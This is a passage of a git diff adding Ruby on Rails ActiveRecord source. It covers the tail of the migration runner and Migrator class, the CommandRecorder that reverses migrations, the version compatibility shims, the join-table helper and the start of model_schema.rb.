+    # In the following example, the looping on users will always be done
+    # when the three columns 'first_name', 'last_name' and 'full_name' exist,
+    # even when migrating down:
+    #
+    #    class SplitNameMigration < ActiveRecord::Migration[5.0]
+    #      def change
+    #        add_column :users, :first_name, :string
+    #        add_column :users, :last_name, :string
+    #
+    #        reversible do |dir|
+    #          User.reset_column_information
+    #          User.all.each do |u|
+    #            dir.up   { u.first_name, u.last_name = u.full_name.split(' ') }
+    #            dir.down { u.full_name = "#{u.first_name} #{u.last_name}" }
+    #            u.save
+    #          end
+    #        end
+    #
+    #        revert { add_column :users, :full_name, :string }
+    #      end
+    #    end
+    def reversible
+      helper = ReversibleBlockHelper.new(reverting?)
+      execute_block { yield helper }
+    end
+
+    # Runs the given migration classes.
+    # Last argument can specify options:
+    # - :direction (default is :up)
+    # - :revert (default is false)
+    def run(*migration_classes)
+      opts = migration_classes.extract_options!
+      dir = opts[:direction] || :up
+      dir = (dir == :down ? :up : :down) if opts[:revert]
+      if reverting?
+        # If in revert and going :up, say, we want to execute :down without reverting, so
+        revert { run(*migration_classes, direction: dir, revert: true) }
+      else
+        migration_classes.each do |migration_class|
+          migration_class.new.exec_migration(connection, dir)
+        end
+      end
+    end
+
+    def up
+      self.class.delegate = self
+      return unless self.class.respond_to?(:up)
+      self.class.up
+    end
+
+    def down
+      self.class.delegate = self
+      return unless self.class.respond_to?(:down)
+      self.class.down
+    end
+
+    # Execute this migration in the named direction
+    def migrate(direction)
+      return unless respond_to?(direction)
+
+      case direction
+      when :up   then announce "migrating"
+      when :down then announce "reverting"
+      end
+
+      time = nil
+      ActiveRecord::Base.connection_pool.with_connection do |conn|
+        time = Benchmark.measure do
+          exec_migration(conn, direction)
+        end
+      end
+
+      case direction
+      when :up   then announce "migrated (%.4fs)" % time.real; write
+      when :down then announce "reverted (%.4fs)" % time.real; write
+      end
+    end
+
+    def exec_migration(conn, direction)
+      @connection = conn
+      if respond_to?(:change)
+        if direction == :down
+          revert { change }
+        else
+          change
+        end
+      else
+        send(direction)
+      end
+    ensure
+      @connection = nil
+    end
+
+    def write(text = "")
+      puts(text) if verbose
+    end
+
+    def announce(message)
+      text = "#{version} #{name}: #{message}"
+      length = [0, 75 - text.length].max
+      write "== %s %s" % [text, "=" * length]
+    end
+
+    def say(message, subitem = false)
+      write "#{subitem ? "   ->" : "--"} #{message}"
+    end
+
+    def say_with_time(message)
+      say(message)
+      result = nil
+      time = Benchmark.measure { result = yield }
+      say "%.4fs" % time.real, :subitem
+      say("#{result} rows", :subitem) if result.is_a?(Integer)
+      result
+    end
+
+    def suppress_messages
+      save, self.verbose = verbose, false
+      yield
+    ensure
+      self.verbose = save
+    end
+
+    def connection
+      @connection || ActiveRecord::Base.connection
+    end
+
+    def method_missing(method, *arguments, &block)
+      arg_list = arguments.map(&:inspect) * ", "
+
+      say_with_time "#{method}(#{arg_list})" do
+        unless connection.respond_to? :revert
+          unless arguments.empty? || [:execute, :enable_extension, :disable_extension].include?(method)
+            arguments[0] = proper_table_name(arguments.first, table_name_options)
+            if [:rename_table, :add_foreign_key].include?(method) ||
+              (method == :remove_foreign_key && !arguments.second.is_a?(Hash))
+              arguments[1] = proper_table_name(arguments.second, table_name_options)
+            end
+          end
+        end
+        return super unless connection.respond_to?(method)
+        connection.send(method, *arguments, &block)
+      end
+    end
+
+    def copy(destination, sources, options = {})
+      copied = []
+
+      FileUtils.mkdir_p(destination) unless File.exist?(destination)
+
+      destination_migrations = ActiveRecord::Migrator.migrations(destination)
+      last = destination_migrations.last
+      sources.each do |scope, path|
+        source_migrations = ActiveRecord::Migrator.migrations(path)
+
+        source_migrations.each do |migration|
+          source = File.binread(migration.filename)
+          inserted_comment = "# This migration comes from #{scope} (originally #{migration.version})\n"
+          magic_comments = "".dup
+          loop do
+            # If we have a magic comment in the original migration,
+            # insert our comment after the first newline(end of the magic comment line)
+            # so the magic keep working.
+            # Note that magic comments must be at the first line(except sh-bang).
+            source.sub!(/\A(?:#.*\b(?:en)?coding:\s*\S+|#\s*frozen_string_literal:\s*(?:true|false)).*\n/) do |magic_comment|
+              magic_comments << magic_comment; ""
+            end || break
+          end
+          source = "#{magic_comments}#{inserted_comment}#{source}"
+
+          if duplicate = destination_migrations.detect { |m| m.name == migration.name }
+            if options[:on_skip] && duplicate.scope != scope.to_s
+              options[:on_skip].call(scope, migration)
+            end
+            next
+          end
+
+          migration.version = next_migration_number(last ? last.version + 1 : 0).to_i
+          new_path = File.join(destination, "#{migration.version}_#{migration.name.underscore}.#{scope}.rb")
+          old_path, migration.filename = migration.filename, new_path
+          last = migration
+
+          File.binwrite(migration.filename, source)
+          copied << migration
+          options[:on_copy].call(scope, migration, old_path) if options[:on_copy]
+          destination_migrations << migration
+        end
+      end
+
+      copied
+    end
+
+    # Finds the correct table name given an Active Record object.
+    # Uses the Active Record object's own table_name, or pre/suffix from the
+    # options passed in.
+    def proper_table_name(name, options = {})
+      if name.respond_to? :table_name
+        name.table_name
+      else
+        "#{options[:table_name_prefix]}#{name}#{options[:table_name_suffix]}"
+      end
+    end
+
+    # Determines the version number of the next migration.
+    def next_migration_number(number)
+      if ActiveRecord::Base.timestamped_migrations
+        [Time.now.utc.strftime("%Y%m%d%H%M%S"), "%.14d" % number].max
+      else
+        SchemaMigration.normalize_migration_number(number)
+      end
+    end
+
+    # Builds a hash for use in ActiveRecord::Migration#proper_table_name using
+    # the Active Record object's table_name prefix and suffix
+    def table_name_options(config = ActiveRecord::Base) #:nodoc:
+      {
+        table_name_prefix: config.table_name_prefix,
+        table_name_suffix: config.table_name_suffix
+      }
+    end
+
+    private
+      def execute_block
+        if connection.respond_to? :execute_block
+          super # use normal delegation to record the block
+        else
+          yield
+        end
+      end
+  end
+
+  # MigrationProxy is used to defer loading of the actual migration classes
+  # until they are needed
+  MigrationProxy = Struct.new(:name, :version, :filename, :scope) do
+    def initialize(name, version, filename, scope)
+      super
+      @migration = nil
+    end
+
+    def basename
+      File.basename(filename)
+    end
+
+    def mtime
+      File.mtime filename
+    end
+
+    delegate :migrate, :announce, :write, :disable_ddl_transaction, to: :migration
+
+    private
+
+      def migration
+        @migration ||= load_migration
+      end
+
+      def load_migration
+        require(File.expand_path(filename))
+        name.constantize.new(name, version)
+      end
+  end
+
+  class NullMigration < MigrationProxy #:nodoc:
+    def initialize
+      super(nil, 0, nil, nil)
+    end
+
+    def mtime
+      0
+    end
+  end
+
+  class Migrator#:nodoc:
+    class << self
+      attr_writer :migrations_paths
+      alias :migrations_path= :migrations_paths=
+
+      def migrate(migrations_paths, target_version = nil, &block)
+        case
+        when target_version.nil?
+          up(migrations_paths, target_version, &block)
+        when current_version == 0 && target_version == 0
+          []
+        when current_version > target_version
+          down(migrations_paths, target_version, &block)
+        else
+          up(migrations_paths, target_version, &block)
+        end
+      end
+
+      def rollback(migrations_paths, steps = 1)
+        move(:down, migrations_paths, steps)
+      end
+
+      def forward(migrations_paths, steps = 1)
+        move(:up, migrations_paths, steps)
+      end
+
+      def up(migrations_paths, target_version = nil)
+        migrations = migrations(migrations_paths)
+        migrations.select! { |m| yield m } if block_given?
+
+        new(:up, migrations, target_version).migrate
+      end
+
+      def down(migrations_paths, target_version = nil)
+        migrations = migrations(migrations_paths)
+        migrations.select! { |m| yield m } if block_given?
+
+        new(:down, migrations, target_version).migrate
+      end
+
+      def run(direction, migrations_paths, target_version)
+        new(direction, migrations(migrations_paths), target_version).run
+      end
+
+      def open(migrations_paths)
+        new(:up, migrations(migrations_paths), nil)
+      end
+
+      def schema_migrations_table_name
+        SchemaMigration.table_name
+      end
+      deprecate :schema_migrations_table_name
+
+      def get_all_versions(connection = Base.connection)
+        if SchemaMigration.table_exists?
+          SchemaMigration.all_versions.map(&:to_i)
+        else
+          []
+        end
+      end
+
+      def current_version(connection = Base.connection)
+        get_all_versions(connection).max || 0
+      end
+
+      def needs_migration?(connection = Base.connection)
+        (migrations(migrations_paths).collect(&:version) - get_all_versions(connection)).size > 0
+      end
+
+      def any_migrations?
+        migrations(migrations_paths).any?
+      end
+
+      def last_migration #:nodoc:
+        migrations(migrations_paths).last || NullMigration.new
+      end
+
+      def migrations_paths
+        @migrations_paths ||= ["db/migrate"]
+        # just to not break things if someone uses: migrations_path = some_string
+        Array(@migrations_paths)
+      end
+
+      def parse_migration_filename(filename) # :nodoc:
+        File.basename(filename).scan(Migration::MigrationFilenameRegexp).first
+      end
+
+      def migrations(paths)
+        paths = Array(paths)
+
+        migrations = migration_files(paths).map do |file|
+          version, name, scope = parse_migration_filename(file)
+          raise IllegalMigrationNameError.new(file) unless version
+          version = version.to_i
+          name = name.camelize
+
+          MigrationProxy.new(name, version, file, scope)
+        end
+
+        migrations.sort_by(&:version)
+      end
+
+      def migrations_status(paths)
+        paths = Array(paths)
+
+        db_list = ActiveRecord::SchemaMigration.normalized_versions
+
+        file_list = migration_files(paths).map do |file|
+          version, name, scope = parse_migration_filename(file)
+          raise IllegalMigrationNameError.new(file) unless version
+          version = ActiveRecord::SchemaMigration.normalize_migration_number(version)
+          status = db_list.delete(version) ? "up" : "down"
+          [status, version, (name + scope).humanize]
+        end.compact
+
+        db_list.map! do |version|
+          ["up", version, "********** NO FILE **********"]
+        end
+
+        (db_list + file_list).sort_by { |_, version, _| version }
+      end
+
+      def migration_files(paths)
+        Dir[*paths.flat_map { |path| "#{path}/**/[0-9]*_*.rb" }]
+      end
+
+      private
+
+      def move(direction, migrations_paths, steps)
+        migrator = new(direction, migrations(migrations_paths))
+
+        if current_version != 0 && !migrator.current_migration
+          raise UnknownMigrationVersionError.new(current_version)
+        end
+
+        start_index =
+          if current_version == 0
+            0
+          else
+            migrator.migrations.index(migrator.current_migration)
+          end
+
+        finish = migrator.migrations[start_index + steps]
+        version = finish ? finish.version : 0
+        send(direction, migrations_paths, version)
+      end
+    end
+
+    def initialize(direction, migrations, target_version = nil)
+      @direction         = direction
+      @target_version    = target_version
+      @migrated_versions = nil
+      @migrations        = migrations
+
+      validate(@migrations)
+
+      ActiveRecord::SchemaMigration.create_table
+      ActiveRecord::InternalMetadata.create_table
+    end
+
+    def current_version
+      migrated.max || 0
+    end
+
+    def current_migration
+      migrations.detect { |m| m.version == current_version }
+    end
+    alias :current :current_migration
+
+    def run
+      if use_advisory_lock?
+        with_advisory_lock { run_without_lock }
+      else
+        run_without_lock
+      end
+    end
+
+    def migrate
+      if use_advisory_lock?
+        with_advisory_lock { migrate_without_lock }
+      else
+        migrate_without_lock
+      end
+    end
+
+    def runnable
+      runnable = migrations[start..finish]
+      if up?
+        runnable.reject { |m| ran?(m) }
+      else
+        # skip the last migration if we're headed down, but not ALL the way down
+        runnable.pop if target
+        runnable.find_all { |m| ran?(m) }
+      end
+    end
+
+    def migrations
+      down? ? @migrations.reverse : @migrations.sort_by(&:version)
+    end
+
+    def pending_migrations
+      already_migrated = migrated
+      migrations.reject { |m| already_migrated.include?(m.version) }
+    end
+
+    def migrated
+      @migrated_versions || load_migrated
+    end
+
+    def load_migrated
+      @migrated_versions = Set.new(self.class.get_all_versions)
+    end
+
+    private
+
+      # Used for running a specific migration.
+      def run_without_lock
+        migration = migrations.detect { |m| m.version == @target_version }
+        raise UnknownMigrationVersionError.new(@target_version) if migration.nil?
+        result = execute_migration_in_transaction(migration, @direction)
+
+        record_environment
+        result
+      end
+
+      # Used for running multiple migrations up to or down to a certain value.
+      def migrate_without_lock
+        if invalid_target?
+          raise UnknownMigrationVersionError.new(@target_version)
+        end
+
+        result = runnable.each do |migration|
+          execute_migration_in_transaction(migration, @direction)
+        end
+
+        record_environment
+        result
+      end
+
+      # Stores the current environment in the database.
+      def record_environment
+        return if down?
+        ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment
+      end
+
+      def ran?(migration)
+        migrated.include?(migration.version.to_i)
+      end
+
+      # Return true if a valid version is not provided.
+      def invalid_target?
+        !target && @target_version && @target_version > 0
+      end
+
+      def execute_migration_in_transaction(migration, direction)
+        return if down? && !migrated.include?(migration.version.to_i)
+        return if up?   &&  migrated.include?(migration.version.to_i)
+
+        Base.logger.info "Migrating to #{migration.name} (#{migration.version})" if Base.logger
+
+        ddl_transaction(migration) do
+          migration.migrate(direction)
+          record_version_state_after_migrating(migration.version)
+        end
+      rescue => e
+        msg = "An error has occurred, ".dup
+        msg << "this and " if use_transaction?(migration)
+        msg << "all later migrations canceled:\n\n#{e}"
+        raise StandardError, msg, e.backtrace
+      end
+
+      def target
+        migrations.detect { |m| m.version == @target_version }
+      end
+
+      def finish
+        migrations.index(target) || migrations.size - 1
+      end
+
+      def start
+        up? ? 0 : (migrations.index(current) || 0)
+      end
+
+      def validate(migrations)
+        name , = migrations.group_by(&:name).find { |_, v| v.length > 1 }
+        raise DuplicateMigrationNameError.new(name) if name
+
+        version , = migrations.group_by(&:version).find { |_, v| v.length > 1 }
+        raise DuplicateMigrationVersionError.new(version) if version
+      end
+
+      def record_version_state_after_migrating(version)
+        if down?
+          migrated.delete(version)
+          ActiveRecord::SchemaMigration.where(version: version.to_s).delete_all
+        else
+          migrated << version
+          ActiveRecord::SchemaMigration.create!(version: version.to_s)
+        end
+      end
+
+      def self.last_stored_environment
+        return nil if current_version == 0
+        raise NoEnvironmentInSchemaError unless ActiveRecord::InternalMetadata.table_exists?
+
+        environment = ActiveRecord::InternalMetadata[:environment]
+        raise NoEnvironmentInSchemaError unless environment
+        environment
+      end
+
+      def self.current_environment
+        ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+      end
+
+      def self.protected_environment?
+        ActiveRecord::Base.protected_environments.include?(last_stored_environment) if last_stored_environment
+      end
+
+      def up?
+        @direction == :up
+      end
+
+      def down?
+        @direction == :down
+      end
+
+      # Wrap the migration in a transaction only if supported by the adapter.
+      def ddl_transaction(migration)
+        if use_transaction?(migration)
+          Base.transaction { yield }
+        else
+          yield
+        end
+      end
+
+      def use_transaction?(migration)
+        !migration.disable_ddl_transaction && Base.connection.supports_ddl_transactions?
+      end
+
+      def use_advisory_lock?
+        Base.connection.supports_advisory_locks?
+      end
+
+      def with_advisory_lock
+        lock_id = generate_migrator_advisory_lock_id
+        got_lock = Base.connection.get_advisory_lock(lock_id)
+        raise ConcurrentMigrationError unless got_lock
+        load_migrated # reload schema_migrations to be sure it wasn't changed by another process before we got the lock
+        yield
+      ensure
+        Base.connection.release_advisory_lock(lock_id) if got_lock
+      end
+
+      MIGRATOR_SALT = 2053462845
+      def generate_migrator_advisory_lock_id
+        db_name_hash = Zlib.crc32(Base.connection.current_database)
+        MIGRATOR_SALT * db_name_hash
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
new file mode 100644
index 0000000000..a3a5e0fa16
--- /dev/null
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -0,0 +1,240 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Migration
+    # <tt>ActiveRecord::Migration::CommandRecorder</tt> records commands done during
+    # a migration and knows how to reverse those commands. The CommandRecorder
+    # knows how to invert the following commands:
+    #
+    # * add_column
+    # * add_foreign_key
+    # * add_index
+    # * add_reference
+    # * add_timestamps
+    # * change_column
+    # * change_column_default (must supply a :from and :to option)
+    # * change_column_null
+    # * create_join_table
+    # * create_table
+    # * disable_extension
+    # * drop_join_table
+    # * drop_table (must supply a block)
+    # * enable_extension
+    # * remove_column (must supply a type)
+    # * remove_columns (must specify at least one column name or more)
+    # * remove_foreign_key (must supply a second table)
+    # * remove_index
+    # * remove_reference
+    # * remove_timestamps
+    # * rename_column
+    # * rename_index
+    # * rename_table
+    class CommandRecorder
+      ReversibleAndIrreversibleMethods = [:create_table, :create_join_table, :rename_table, :add_column, :remove_column,
+        :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps,
+        :change_column_default, :add_reference, :remove_reference, :transaction,
+        :drop_join_table, :drop_table, :execute_block, :enable_extension, :disable_extension,
+        :change_column, :execute, :remove_columns, :change_column_null,
+        :add_foreign_key, :remove_foreign_key
+      ]
+      include JoinTable
+
+      attr_accessor :commands, :delegate, :reverting
+
+      def initialize(delegate = nil)
+        @commands = []
+        @delegate = delegate
+        @reverting = false
+      end
+
+      # While executing the given block, the recorded will be in reverting mode.
+      # All commands recorded will end up being recorded reverted
+      # and in reverse order.
+      # For example:
+      #
+      #   recorder.revert{ recorder.record(:rename_table, [:old, :new]) }
+      #   # same effect as recorder.record(:rename_table, [:new, :old])
+      def revert
+        @reverting = !@reverting
+        previous = @commands
+        @commands = []
+        yield
+      ensure
+        @commands = previous.concat(@commands.reverse)
+        @reverting = !@reverting
+      end
+
+      # Record +command+. +command+ should be a method name and arguments.
+      # For example:
+      #
+      #   recorder.record(:method_name, [:arg1, :arg2])
+      def record(*command, &block)
+        if @reverting
+          @commands << inverse_of(*command, &block)
+        else
+          @commands << (command << block)
+        end
+      end
+
+      # Returns the inverse of the given command. For example:
+      #
+      #   recorder.inverse_of(:rename_table, [:old, :new])
+      #   # => [:rename_table, [:new, :old]]
+      #
+      # This method will raise an +IrreversibleMigration+ exception if it cannot
+      # invert the +command+.
+      def inverse_of(command, args, &block)
+        method = :"invert_#{command}"
+        raise IrreversibleMigration, <<-MSG.strip_heredoc unless respond_to?(method, true)
+          This migration uses #{command}, which is not automatically reversible.
+          To make the migration reversible you can either:
+          1. Define #up and #down methods in place of the #change method.
+          2. Use the #reversible method to define reversible behavior.
+        MSG
+        send(method, args, &block)
+      end
+
+      ReversibleAndIrreversibleMethods.each do |method|
+        class_eval <<-EOV, __FILE__, __LINE__ + 1
+          def #{method}(*args, &block)          # def create_table(*args, &block)
+            record(:"#{method}", args, &block)  #   record(:create_table, args, &block)
+          end                                   # end
+        EOV
+      end
+      alias :add_belongs_to :add_reference
+      alias :remove_belongs_to :remove_reference
+
+      def change_table(table_name, options = {}) # :nodoc:
+        yield delegate.update_table_definition(table_name, self)
+      end
+
+      private
+
+        module StraightReversions
+          private
+            { transaction:       :transaction,
+              execute_block:     :execute_block,
+              create_table:      :drop_table,
+              create_join_table: :drop_join_table,
+              add_column:        :remove_column,
+              add_timestamps:    :remove_timestamps,
+              add_reference:     :remove_reference,
+              enable_extension:  :disable_extension
+            }.each do |cmd, inv|
+              [[inv, cmd], [cmd, inv]].uniq.each do |method, inverse|
+                class_eval <<-EOV, __FILE__, __LINE__ + 1
+                  def invert_#{method}(args, &block)    # def invert_create_table(args, &block)
+                    [:#{inverse}, args, block]          #   [:drop_table, args, block]
+                  end                                   # end
+                EOV
+              end
+            end
+        end
+
+        include StraightReversions
+
+        def invert_drop_table(args, &block)
+          if args.size == 1 && block == nil
+            raise ActiveRecord::IrreversibleMigration, "To avoid mistakes, drop_table is only reversible if given options or a block (can be empty)."
+          end
+          super
+        end
+
+        def invert_rename_table(args)
+          [:rename_table, args.reverse]
+        end
+
+        def invert_remove_column(args)
+          raise ActiveRecord::IrreversibleMigration, "remove_column is only reversible if given a type." if args.size <= 2
+          super
+        end
+
+        def invert_rename_index(args)
+          [:rename_index, [args.first] + args.last(2).reverse]
+        end
+
+        def invert_rename_column(args)
+          [:rename_column, [args.first] + args.last(2).reverse]
+        end
+
+        def invert_add_index(args)
+          table, columns, options = *args
+          options ||= {}
+
+          index_name = options[:name]
+          options_hash = index_name ? { name: index_name } : { column: columns }
+
+          [:remove_index, [table, options_hash]]
+        end
+
+        def invert_remove_index(args)
+          table, options_or_column = *args
+          if (options = options_or_column).is_a?(Hash)
+            unless options[:column]
+              raise ActiveRecord::IrreversibleMigration, "remove_index is only reversible if given a :column option."
+            end
+            options = options.dup
+            [:add_index, [table, options.delete(:column), options]]
+          elsif (column = options_or_column).present?
+            [:add_index, [table, column]]
+          end
+        end
+
+        alias :invert_add_belongs_to :invert_add_reference
+        alias :invert_remove_belongs_to :invert_remove_reference
+
+        def invert_change_column_default(args)
+          table, column, options = *args
+
+          unless options && options.is_a?(Hash) && options.has_key?(:from) && options.has_key?(:to)
+            raise ActiveRecord::IrreversibleMigration, "change_column_default is only reversible if given a :from and :to option."
+          end
+
+          [:change_column_default, [table, column, from: options[:to], to: options[:from]]]
+        end
+
+        def invert_change_column_null(args)
+          args[2] = !args[2]
+          [:change_column_null, args]
+        end
+
+        def invert_add_foreign_key(args)
+          from_table, to_table, add_options = args
+          add_options ||= {}
+
+          if add_options[:name]
+            options = { name: add_options[:name] }
+          elsif add_options[:column]
+            options = { column: add_options[:column] }
+          else
+            options = to_table
+          end
+
+          [:remove_foreign_key, [from_table, options]]
+        end
+
+        def invert_remove_foreign_key(args)
+          from_table, to_table, remove_options = args
+          raise ActiveRecord::IrreversibleMigration, "remove_foreign_key is only reversible if given a second table" if to_table.nil? || to_table.is_a?(Hash)
+
+          reversed_args = [from_table, to_table]
+          reversed_args << remove_options if remove_options
+
+          [:add_foreign_key, reversed_args]
+        end
+
+        def respond_to_missing?(method, _)
+          super || delegate.respond_to?(method)
+        end
+
+        # Forwards any missing method call to the \target.
+        def method_missing(method, *args, &block)
+          if delegate.respond_to?(method)
+            delegate.public_send(method, *args, &block)
+          else
+            super
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/migration/compatibility.rb b/activerecord/lib/active_record/migration/compatibility.rb
new file mode 100644
index 0000000000..d6595c9355
--- /dev/null
+++ b/activerecord/lib/active_record/migration/compatibility.rb
@@ -0,0 +1,170 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Migration
+    module Compatibility # :nodoc: all
+      def self.find(version)
+        version = version.to_s
+        name = "V#{version.tr('.', '_')}"
+        unless const_defined?(name)
+          versions = constants.grep(/\AV[0-9_]+\z/).map { |s| s.to_s.delete("V").tr("_", ".").inspect }
+          raise ArgumentError, "Unknown migration version #{version.inspect}; expected one of #{versions.sort.join(', ')}"
+        end
+        const_get(name)
+      end
+
+      V5_2 = Current
+
+      class V5_1 < V5_2
+      end
+
+      class V5_0 < V5_1
+        module TableDefinition
+          def references(*args, **options)
+            super(*args, type: :integer, **options)
+          end
+          alias :belongs_to :references
+        end
+
+        def create_table(table_name, options = {})
+          if adapter_name == "PostgreSQL"
+            if options[:id] == :uuid && !options.key?(:default)
+              options[:default] = "uuid_generate_v4()"
+            end
+          end
+
+          unless adapter_name == "Mysql2" && options[:id] == :bigint
+            if [:integer, :bigint].include?(options[:id]) && !options.key?(:default)
+              options[:default] = nil
+            end
+          end
+
+          # Since 5.1 Postgres adapter uses bigserial type for primary
+          # keys by default and MySQL uses bigint. This compat layer makes old migrations utilize
+          # serial/int type instead -- the way it used to work before 5.1.
+          unless options.key?(:id)
+            options[:id] = :integer
+          end
+
+          if block_given?
+            super(table_name, options) do |t|
+              class << t
+                prepend TableDefinition
+              end
+              yield t
+            end
+          else
+            super
+          end
+        end
+
+        def change_table(table_name, options = {})
+          if block_given?
+            super(table_name, options) do |t|
+              class << t
+                prepend TableDefinition
+              end
+              yield t
+            end
+          else
+            super
+          end
+        end
+
+        def add_reference(table_name, ref_name, **options)
+          super(table_name, ref_name, type: :integer, **options)
+        end
+        alias :add_belongs_to :add_reference
+      end
+
+      class V4_2 < V5_0
+        module TableDefinition
+          def references(*, **options)
+            options[:index] ||= false
+            super
+          end
+          alias :belongs_to :references
+
+          def timestamps(**options)
+            options[:null] = true if options[:null].nil?
+            super
+          end
+        end
+
+        def create_table(table_name, options = {})
+          if block_given?
+            super(table_name, options) do |t|
+              class << t
+                prepend TableDefinition
+              end
+              yield t
+            end
+          else
+            super
+          end
+        end
+
+        def change_table(table_name, options = {})
+          if block_given?
+            super(table_name, options) do |t|
+              class << t
+                prepend TableDefinition
+              end
+              yield t
+            end
+          else
+            super
+          end
+        end
+
+        def add_reference(*, **options)
+          options[:index] ||= false
+          super
+        end
+        alias :add_belongs_to :add_reference
+
+        def add_timestamps(_, **options)
+          options[:null] = true if options[:null].nil?
+          super
+        end
+
+        def index_exists?(table_name, column_name, options = {})
+          column_names = Array(column_name).map(&:to_s)
+          options[:name] =
+            if options[:name].present?
+              options[:name].to_s
+            else
+              index_name(table_name, column: column_names)
+            end
+          super
+        end
+
+        def remove_index(table_name, options = {})
+          options = { column: options } unless options.is_a?(Hash)
+          options[:name] = index_name_for_remove(table_name, options)
+          super(table_name, options)
+        end
+
+        private
+
+          def index_name_for_remove(table_name, options = {})
+            index_name = index_name(table_name, options)
+
+            unless index_name_exists?(table_name, index_name)
+              if options.is_a?(Hash) && options.has_key?(:name)
+                options_without_column = options.dup
+                options_without_column.delete :column
+                index_name_without_column = index_name(table_name, options_without_column)
+
+                return index_name_without_column if index_name_exists?(table_name, index_name_without_column)
+              end
+
+              raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' does not exist"
+            end
+
+            index_name
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/migration/join_table.rb b/activerecord/lib/active_record/migration/join_table.rb
new file mode 100644
index 0000000000..9abb289bb0
--- /dev/null
+++ b/activerecord/lib/active_record/migration/join_table.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Migration
+    module JoinTable #:nodoc:
+      private
+
+        def find_join_table_name(table_1, table_2, options = {})
+          options.delete(:table_name) || join_table_name(table_1, table_2)
+        end
+
+        def join_table_name(table_1, table_2)
+          ModelSchema.derive_join_table_name(table_1, table_2).to_sym
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb
new file mode 100644
index 0000000000..34c0ef4e75
--- /dev/null
+++ b/activerecord/lib/active_record/model_schema.rb
@@ -0,0 +1,515 @@
+# frozen_string_literal: true
+
+require "monitor"
+
+module ActiveRecord
+  module ModelSchema
+    extend ActiveSupport::Concern
+
+    ##
+    # :singleton-method: primary_key_prefix_type
+    # :call-seq: primary_key_prefix_type
+    #
+    # The prefix type that will be prepended to every primary key column name.
+    # The options are +:table_name+ and +:table_name_with_underscore+. If the first is specified,
+    # the Product class will look for "productid" instead of "id" as the primary column. If the
+    # latter is specified, the Product class will look for "product_id" instead of "id". Remember
+    # that this is a global setting for all Active Records.
+
+    ##
+    # :singleton-method: primary_key_prefix_type=
+    # :call-seq: primary_key_prefix_type=(prefix_type)
+    #
+    # Sets the prefix type that will be prepended to every primary key column name.
+    # The options are +:table_name+ and +:table_name_with_underscore+. If the first is specified,
+    # the Product class will look for "productid" instead of "id" as the primary column. If the
+    # latter is specified, the Product class will look for "product_id" instead of "id". Remember
+    # that this is a global setting for all Active Records.
+
+    ##
+    # :singleton-method: table_name_prefix
+    # :call-seq: table_name_prefix
+    #
+    # The prefix string to prepend to every table name.
+
+    ##
+    # :singleton-method: table_name_prefix=
+    # :call-seq: table_name_prefix=(prefix)
+    #
+    # Sets the prefix string to prepend to every table name. So if set to "basecamp_", all table
+    # names will be named like "basecamp_projects", "basecamp_people", etc. This is a convenient
+    # way of creating a namespace for tables in a shared database. By default, the prefix is the
+    # empty string.
+    #
+    # If you are organising your models within modules you can add a prefix to the models within
+    # a namespace by defining a singleton method in the parent module called table_name_prefix which
+    # returns your chosen prefix.
+
+    ##
+    # :singleton-method: table_name_suffix
+    # :call-seq: table_name_suffix
+    #
+    # The suffix string to append to every table name.
+
+    ##
+    # :singleton-method: table_name_suffix=
+    # :call-seq: table_name_suffix=(suffix)
+    #
+    # Works like +table_name_prefix=+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
+    # "people_basecamp"). By default, the suffix is the empty string.
+    #
+    # If you are organising your models within modules, you can add a suffix to the models within
+    # a namespace by defining a singleton method in the parent module called table_name_suffix which
+    # returns your chosen suffix.
+
+    ##
+    # :singleton-method: schema_migrations_table_name
+    # :call-seq: schema_migrations_table_name
+    #
+    # The name of the schema migrations table. By default, the value is <tt>"schema_migrations"</tt>.
+
+    ##
+    # :singleton-method: schema_migrations_table_name=
+    # :call-seq: schema_migrations_table_name=(table_name)
+    #
+    # Sets the name of the schema migrations table.
+
+    ##
+    # :singleton-method: internal_metadata_table_name
+    # :call-seq: internal_metadata_table_name
+    #
+    # The name of the internal metadata table. By default, the value is <tt>"ar_internal_metadata"</tt>.
+
+    ##
+    # :singleton-method: internal_metadata_table_name=
+    # :call-seq: internal_metadata_table_name=(table_name)
+    #
+    # Sets the name of the internal metadata table.
+
+    ##
+    # :singleton-method: protected_environments
+    # :call-seq: protected_environments
+    #
+    # The array of names of environments where destructive actions should be prohibited. By default,
+    # the value is <tt>["production"]</tt>.
+
+    ##
+    # :singleton-method: protected_environments=
+    # :call-seq: protected_environments=(environments)
+    #
+    # Sets an array of names of environments where destructive actions should be prohibited.
+
+    ##
+    # :singleton-method: pluralize_table_names
+    # :call-seq: pluralize_table_names
+    #
+    # Indicates whether table names should be the pluralized versions of the corresponding class names.
+    # If true, the default table name for a Product class will be "products". If false, it would just be "product".
+    # See table_name for the full rules on table/class naming. This is true, by default.
+
+    ##
+    # :singleton-method: pluralize_table_names=
+    # :call-seq: pluralize_table_names=(value)
+    #
+    # Set whether table names should be the pluralized versions of the corresponding class names.
+    # If true, the default table name for a Product class will be "products". If false, it would just be "product".
+    # See table_name for the full rules on table/class naming. This is true, by default.
+
+    ##
+    # :singleton-method: ignored_columns
+    # :call-seq: ignored_columns
+    #
+    # The list of columns names the model should ignore. Ignored columns won't have attribute
+    # accessors defined, and won't be referenced in SQL queries.
+
+    ##
+    # :singleton-method: ignored_columns=
+    # :call-seq: ignored_columns=(columns)
+    #
+    # Sets the columns names the model should ignore. Ignored columns won't have attribute
+    # accessors defined, and won't be referenced in SQL queries.
+
+    included do
+      mattr_accessor :primary_key_prefix_type, instance_writer: false
+
+      class_attribute :table_name_prefix, instance_writer: false, default: ""
+      class_attribute :table_name_suffix, instance_writer: false, default: ""
